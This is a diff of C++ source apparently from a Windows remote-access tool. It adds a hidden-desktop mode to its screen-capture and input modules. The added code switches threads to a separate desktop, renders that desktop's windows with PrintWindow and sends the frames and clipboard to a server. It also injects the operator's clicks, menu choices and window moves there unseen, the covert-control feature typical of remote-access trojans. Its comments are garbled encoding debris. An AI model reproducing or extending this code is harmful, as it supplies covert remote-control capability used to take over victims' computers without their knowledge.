::GlobalUnlock(hGlobal);
|
::GlobalUnlock(hGlobal);
|
||||||
::CloseClipboard();
|
::CloseClipboard();
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
|
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||||||
delete[] szBuffer;
|
delete[] szBuffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -265,7 +374,7 @@ VOID CScreenManager::SendFirstScreen()
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
|
m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||||
@@ -282,7 +391,13 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
|||||||
|
|
||||||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||||||
{
|
{
|
||||||
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
|
m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string GetTitle(HWND hWnd) {
|
||||||
|
char title[256]; // Ԥ<><D4A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
GetWindowTextA(hWnd, title, sizeof(title));
|
||||||
|
return title;
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||||
@@ -301,6 +416,210 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
|||||||
BYTE* ptr = szBuffer;
|
BYTE* ptr = szBuffer;
|
||||||
MSG32 msg32;
|
MSG32 msg32;
|
||||||
MSG64 msg64;
|
MSG64 msg64;
|
||||||
|
if (g_hDesk) {
|
||||||
|
HWND hWnd = NULL;
|
||||||
|
BOOL mouseMsg = FALSE;
|
||||||
|
POINT lastPointCopy = {};
|
||||||
|
SetThreadDesktop(g_hDesk);
|
||||||
|
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||||
|
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||||
|
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||||
|
switch (msg->message) {
|
||||||
|
case WM_KEYUP:
|
||||||
|
return;
|
||||||
|
case WM_CHAR:
|
||||||
|
|
||||||
|
case WM_KEYDOWN: {
|
||||||
|
m_point = m_lastPoint;
|
||||||
|
hWnd = WindowFromPoint(m_point);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case WM_RBUTTONDOWN: {
|
||||||
|
// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_rmouseDown = TRUE;
|
||||||
|
m_rclickPoint = msg->pt;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case WM_RBUTTONUP: {
|
||||||
|
m_rmouseDown = FALSE;
|
||||||
|
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char szClass[256];
|
||||||
|
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||||||
|
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
|
||||||
|
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||||||
|
// <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||||||
|
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// <20><>ͨ<EFBFBD><CDA8><EFBFBD>ڵ<EFBFBD><DAB5>Ҽ<EFBFBD><D2BC>˵<EFBFBD>
|
||||||
|
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||||||
|
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||||||
|
// <20><><EFBFBD>ӣ<EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD><CCB0><EFBFBD>Shift+F10<31><30><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
|
||||||
|
keybd_event(VK_SHIFT, 0, 0, 0);
|
||||||
|
keybd_event(VK_F10, 0, 0, 0);
|
||||||
|
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
mouseMsg = TRUE;
|
||||||
|
m_point = msg->pt;
|
||||||
|
hWnd = WindowFromPoint(m_point);
|
||||||
|
lastPointCopy = m_lastPoint;
|
||||||
|
m_lastPoint = m_point;
|
||||||
|
if (msg->message == WM_LBUTTONUP) {
|
||||||
|
if (m_rclickWnd && hWnd != m_rclickWnd)
|
||||||
|
{
|
||||||
|
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||||||
|
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
|
||||||
|
m_rclickWnd = nullptr;
|
||||||
|
}
|
||||||
|
m_lmouseDown = FALSE;
|
||||||
|
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||||
|
switch (lResult) {
|
||||||
|
case HTTRANSPARENT: {
|
||||||
|
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
|
||||||
|
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTCLOSE: {// <20>رմ<D8B1><D5B4><EFBFBD>
|
||||||
|
PostMessageA(hWnd, WM_CLOSE, 0, 0);
|
||||||
|
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTMINBUTTON: {// <20><>С<EFBFBD><D0A1>
|
||||||
|
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
|
||||||
|
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTMAXBUTTON: {// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
WINDOWPLACEMENT windowPlacement;
|
||||||
|
windowPlacement.length = sizeof(windowPlacement);
|
||||||
|
GetWindowPlacement(hWnd, &windowPlacement);
|
||||||
|
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
|
||||||
|
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
|
||||||
|
else
|
||||||
|
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
|
||||||
|
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (msg->message == WM_LBUTTONDOWN) {
|
||||||
|
m_lmouseDown = TRUE;
|
||||||
|
m_hResMoveWindow = NULL;
|
||||||
|
RECT startButtonRect;
|
||||||
|
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
|
||||||
|
GetWindowRect(hStartButton, &startButtonRect);
|
||||||
|
if (PtInRect(&startButtonRect, m_point)) {
|
||||||
|
PostMessageA(hStartButton, BM_CLICK, 0, 0); // ģ<>ʼ<E2BFAA><CABC>ť<EFBFBD><C5A5><EFBFBD><EFBFBD>
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
char windowClass[MAX_PATH] = { 0 };
|
||||||
|
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
|
||||||
|
if (!lstrcmpA(windowClass, "#32768")) {
|
||||||
|
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
|
||||||
|
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
|
||||||
|
int itemId = GetMenuItemID(hMenu, itemPos);
|
||||||
|
PostMessageA(hWnd, 0x1e5, itemPos, 0);
|
||||||
|
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (msg->message == WM_MOUSEMOVE) {
|
||||||
|
if (!m_lmouseDown)
|
||||||
|
continue;
|
||||||
|
if (!m_hResMoveWindow)
|
||||||
|
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||||
|
else
|
||||||
|
hWnd = m_hResMoveWindow;
|
||||||
|
int moveX = lastPointCopy.x - m_point.x;
|
||||||
|
int moveY = lastPointCopy.y - m_point.y;
|
||||||
|
|
||||||
|
RECT rect;
|
||||||
|
GetWindowRect(hWnd, &rect);
|
||||||
|
int x = rect.left;
|
||||||
|
int y = rect.top;
|
||||||
|
int width = rect.right - rect.left;
|
||||||
|
int height = rect.bottom - rect.top;
|
||||||
|
switch (m_resMoveType) {
|
||||||
|
case HTCAPTION: {
|
||||||
|
x -= moveX;
|
||||||
|
y -= moveY;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTTOP: {
|
||||||
|
y -= moveY;
|
||||||
|
height += moveY;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTBOTTOM: {
|
||||||
|
height -= moveY;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTLEFT: {
|
||||||
|
x -= moveX;
|
||||||
|
width += moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTRIGHT: {
|
||||||
|
width -= moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTTOPLEFT: {
|
||||||
|
y -= moveY;
|
||||||
|
height += moveY;
|
||||||
|
x -= moveX;
|
||||||
|
width += moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTTOPRIGHT: {
|
||||||
|
y -= moveY;
|
||||||
|
height += moveY;
|
||||||
|
width -= moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTBOTTOMLEFT: {
|
||||||
|
height -= moveY;
|
||||||
|
x -= moveX;
|
||||||
|
width += moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTBOTTOMRIGHT: {
|
||||||
|
height -= moveY;
|
||||||
|
width -= moveX;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
MoveWindow(hWnd, x, y, width, height, FALSE);
|
||||||
|
m_hResMoveWindow = hWnd;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (HWND currHwnd = hWnd;;) {
|
||||||
|
hWnd = currHwnd;
|
||||||
|
ScreenToClient(currHwnd, &m_point);
|
||||||
|
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
|
||||||
|
if (!currHwnd || currHwnd == hWnd)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (mouseMsg)
|
||||||
|
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
|
||||||
|
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
|
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
|
||||||
{
|
{
|
||||||
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
|
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
|
||||||
|
|||||||
@@ -13,6 +13,8 @@
|
|||||||
#include "ScreenSpy.h"
|
#include "ScreenSpy.h"
|
||||||
#include "ScreenCapture.h"
|
#include "ScreenCapture.h"
|
||||||
|
|
||||||
|
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||||||
|
|
||||||
class IOCPClient;
|
class IOCPClient;
|
||||||
|
|
||||||
class CScreenManager : public CManager
|
class CScreenManager : public CManager
|
||||||
@@ -22,6 +24,7 @@ public:
|
|||||||
virtual ~CScreenManager();
|
virtual ~CScreenManager();
|
||||||
HANDLE m_hWorkThread;
|
HANDLE m_hWorkThread;
|
||||||
|
|
||||||
|
void InitScreenSpy();
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
VOID SendBitMapInfo();
|
VOID SendBitMapInfo();
|
||||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
@@ -32,10 +35,23 @@ public:
|
|||||||
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
||||||
|
|
||||||
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
||||||
|
INT_PTR m_ptrUser;
|
||||||
|
HDESK g_hDesk;
|
||||||
|
std::string m_DesktopID;
|
||||||
BOOL m_bIsWorking;
|
BOOL m_bIsWorking;
|
||||||
BOOL m_bIsBlockInput;
|
BOOL m_bIsBlockInput;
|
||||||
VOID SendClientClipboard();
|
VOID SendClientClipboard();
|
||||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
POINT m_point;
|
||||||
|
POINT m_lastPoint;
|
||||||
|
BOOL m_lmouseDown;
|
||||||
|
HWND m_hResMoveWindow;
|
||||||
|
LRESULT m_resMoveType;
|
||||||
|
BOOL m_rmouseDown; // <20><><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD><D2BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
POINT m_rclickPoint; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
HWND m_rclickWnd; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||||
|
|||||||
@@ -11,10 +11,10 @@
|
|||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo)
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop) :
|
||||||
|
ScreenCapture(ulbiBitCount, algo)
|
||||||
{
|
{
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
|
|
||||||
|
|
||||||
m_BitmapInfor_Full = new BITMAPINFO();
|
m_BitmapInfor_Full = new BITMAPINFO();
|
||||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||||
@@ -28,22 +28,23 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(a
|
|||||||
BitmapInforHeader->biSizeImage =
|
BitmapInforHeader->biSizeImage =
|
||||||
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
|
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
|
||||||
|
|
||||||
m_hDeskTopWnd = GetDesktopWindow();
|
m_hDeskTopDC = GetDC(NULL);
|
||||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
|
||||||
|
|
||||||
m_BitmapData_Full = NULL;
|
m_BitmapData_Full = NULL;
|
||||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC);
|
||||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||||
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||||
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
|
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
|
||||||
|
|
||||||
m_DiffBitmapData_Full = NULL;
|
m_DiffBitmapData_Full = NULL;
|
||||||
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC);
|
||||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||||
|
|
||||||
m_RectBufferOffset = 0;
|
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
|
||||||
|
m_bVirtualPaint = vDesk;
|
||||||
|
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -55,7 +56,7 @@ CScreenSpy::~CScreenSpy()
|
|||||||
m_BitmapInfor_Full = NULL;
|
m_BitmapInfor_Full = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
ReleaseDC(NULL, m_hDeskTopDC);
|
||||||
|
|
||||||
if (m_hFullMemDC!=NULL)
|
if (m_hFullMemDC!=NULL)
|
||||||
{
|
{
|
||||||
@@ -86,15 +87,11 @@ CScreenSpy::~CScreenSpy()
|
|||||||
delete[] m_RectBuffer;
|
delete[] m_RectBuffer;
|
||||||
m_RectBuffer = NULL;
|
m_RectBuffer = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_RectBufferOffset = 0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||||
{
|
{
|
||||||
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||||
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
|
|
||||||
|
|
||||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||||
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||||
@@ -108,6 +105,13 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
|||||||
|
|
||||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||||
{
|
{
|
||||||
|
if (m_bVirtualPaint){
|
||||||
|
int n = 0;
|
||||||
|
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
|
||||||
|
Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
AUTO_TICK(70);
|
AUTO_TICK(70);
|
||||||
#if COPY_ALL
|
#if COPY_ALL
|
||||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
|
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
|
||||||
|
|||||||
@@ -14,24 +14,76 @@
|
|||||||
#include "ScreenCapture.h"
|
#include "ScreenCapture.h"
|
||||||
|
|
||||||
|
|
||||||
|
class EnumHwndsPrintData {
|
||||||
|
public:
|
||||||
|
EnumHwndsPrintData() {
|
||||||
|
memset(this, 0, sizeof(EnumHwndsPrintData));
|
||||||
|
}
|
||||||
|
void Create(HDC desktop, int _x, int _y, int w, int h) {
|
||||||
|
x = _x;
|
||||||
|
y = _y;
|
||||||
|
width = w;
|
||||||
|
height = h;
|
||||||
|
hDcWindow = CreateCompatibleDC(desktop);
|
||||||
|
hBmpWindow = CreateCompatibleBitmap(desktop, w, h);
|
||||||
|
}
|
||||||
|
EnumHwndsPrintData& SetScreenDC(HDC dc) {
|
||||||
|
hDcScreen = dc;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
~EnumHwndsPrintData() {
|
||||||
|
if (hDcWindow) DeleteDC(hDcWindow);
|
||||||
|
hDcWindow = nullptr;
|
||||||
|
if (hBmpWindow)DeleteObject(hBmpWindow);
|
||||||
|
hBmpWindow = nullptr;
|
||||||
|
}
|
||||||
|
HDC GetWindowDC() const {
|
||||||
|
return hDcWindow;
|
||||||
|
}
|
||||||
|
HDC GetScreenDC() const {
|
||||||
|
return hDcScreen;
|
||||||
|
}
|
||||||
|
HBITMAP GetWindowBmp() const {
|
||||||
|
return hBmpWindow;
|
||||||
|
}
|
||||||
|
int X() const {
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
int Y() const {
|
||||||
|
return y;
|
||||||
|
}
|
||||||
|
int Width()const {
|
||||||
|
return width;
|
||||||
|
}
|
||||||
|
int Height()const {
|
||||||
|
return height;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
HDC hDcWindow;
|
||||||
|
HDC hDcScreen;
|
||||||
|
HBITMAP hBmpWindow;
|
||||||
|
int x;
|
||||||
|
int y;
|
||||||
|
int width;
|
||||||
|
int height;
|
||||||
|
};
|
||||||
|
|
||||||
class CScreenSpy : public ScreenCapture
|
class CScreenSpy : public ScreenCapture
|
||||||
{
|
{
|
||||||
private:
|
protected:
|
||||||
HWND m_hDeskTopWnd; //<2F><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD>ھ<EFBFBD><EFBFBD><EFBFBD>
|
HDC m_hDeskTopDC; // <20><>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
HDC m_hFullMemDC; // <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
HDC m_hDiffMemDC; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
HBITMAP m_BitmapHandle; // <20><>һ֡λͼ
|
||||||
|
HBITMAP m_DiffBitmapHandle; // <20><><EFBFBD><EFBFBD>֡λͼ
|
||||||
|
PVOID m_BitmapData_Full; // <20><>ǰλͼ<CEBB><CDBC><EFBFBD><EFBFBD>
|
||||||
|
PVOID m_DiffBitmapData_Full; // <20><><EFBFBD><EFBFBD>λͼ<CEBB><CDBC><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
HDC m_hFullMemDC;
|
BOOL m_bVirtualPaint;// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
HBITMAP m_BitmapHandle;
|
EnumHwndsPrintData m_data;
|
||||||
PVOID m_BitmapData_Full;
|
|
||||||
|
|
||||||
HDC m_hDiffMemDC;
|
|
||||||
HBITMAP m_DiffBitmapHandle;
|
|
||||||
PVOID m_DiffBitmapData_Full;
|
|
||||||
|
|
||||||
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP);
|
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP);
|
||||||
|
|
||||||
virtual ~CScreenSpy();
|
virtual ~CScreenSpy();
|
||||||
|
|
||||||
@@ -65,21 +117,69 @@ public:
|
|||||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||||
}
|
}
|
||||||
|
|
||||||
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength)
|
static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data)
|
||||||
{
|
{
|
||||||
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
if (!IsWindowVisible(hWnd) || IsIconic(hWnd))
|
||||||
m_RectBufferOffset += ulLength;
|
return TRUE;
|
||||||
|
|
||||||
|
RECT rect;
|
||||||
|
if (!GetWindowRect(hWnd, &rect))
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
HDC hDcWindow = data->GetWindowDC();
|
||||||
|
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
|
||||||
|
BOOL ret = FALSE;
|
||||||
|
if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT,
|
||||||
|
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
|
||||||
|
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
|
||||||
|
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
|
||||||
|
|
||||||
|
ret = TRUE;
|
||||||
|
}
|
||||||
|
SelectObject(hDcWindow, hOldBmp);
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param)
|
||||||
|
{
|
||||||
|
HWND currentWindow = GetTopWindow(owner);
|
||||||
|
if (currentWindow == NULL)
|
||||||
|
return -1;
|
||||||
|
if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL)
|
||||||
|
return -2;
|
||||||
|
while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
|
||||||
|
{
|
||||||
|
AUTO_TICK_C(50);
|
||||||
|
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
|
||||||
|
